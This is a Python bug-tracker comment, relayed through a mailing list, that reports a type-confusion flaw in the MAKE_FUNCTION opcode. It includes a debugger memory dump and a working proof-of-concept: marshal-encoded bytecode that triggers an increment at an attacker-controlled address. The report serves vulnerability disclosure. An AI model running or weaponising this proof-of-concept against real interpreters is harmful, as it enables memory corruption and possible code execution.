LCatro added the comment:
actually ,LOAD_CONST is taking an correct offset .I make a Python opcode
compiler ,LOAD_CONST 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\x41\x41\x41\x41' will
conver to LOAD_CONST 1 .look back the poc ,it mean :
LOAD_CONST 1 => Load a string object from co->consts to python stack
MAKE_FUNCTION 0 => first ,python core will pop a object from python stack ,and
than using this object to create a function
so set a breakpoint at TARGET(MAKE_FUNCTION)
v = POP(); /* code object */ <= now it is a string object
x = PyFunction_New(v, f->f_globals);
PyFunction_New(PyObject *code, PyObject *globals) <= now argument code is a
string object not code object
op->func_name = ((PyCodeObject *)code)->co_name; <= look there
Py_INCREF(op->func_name)
conver to assembly :
1e07e24e 8b4834 mov ecx,dword ptr [eax+34h]
...
1e07e254 ff01 inc dword ptr [ecx]
it mean ,if control data struct's offset 0x34 and it will conduct an
arbitrarily address to inc
Python string object's struct like this :
|Python_Type|String_Length|String_Data|
breakpoint at 0x1e07e24e ,look eax ..
0:000> dd eax
0204d2e0 00000003 1e1d81f8 00000024 c7554b90
0204d2f0 00000001 43434343 43434343 43434343
0204d300 43434343 43434343 43434343 43434343
0204d310 43434343 41414141 68746100 00275f5f
0204d320 0204e408 0204d3e0 fffffffd ffffffff
0204d330 00000001 1e1dbb00 01fda968 01fe28a0
0204d340 0204b590 00000000 1e1d9824 01fb1760
0204d350 00000000 00000000 01feb2c0 01ff9930
so [eax+34h] point to 0x41414141 ,inc dword ptr [ecx] => inc dword ptr
[0x41414141]
i trigger this need compiler opcode to .pyc ,actually we can still trigger in
.py ,this is poc :
import marshal
code=b'\x63\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00\x73\x0A\x00\x00\x00\x64\x01\x00\x84\x00\x00\x64\x00\x00\x53\x28\x02\x00\x00\x00\x4E\x73\x24\x00\x00\x00\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x41\x41\x41\x41\x28\x00\x00\x00\x00\x28\x00\x00\x00\x00\x28\x00\x00\x00\x00\x28\x00\x00\x00\x00\x74\x00\x00\x00\x00\x73\x08\x00\x00\x00\x3C\x6D\x6F\x64\x75\x6C\x65\x3E\x01\x00\x00\x00\x74\x02\x00\x00\x00\x00\x01'
poc=marshal.loads(code)
exec(poc)
----------
_______________________________________
Python tracker <rep...@bugs.python.org>
<http://bugs.python.org/issue29825>
_______________________________________
_______________________________________________
Python-bugs-list mailing list
Unsubscribe:
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
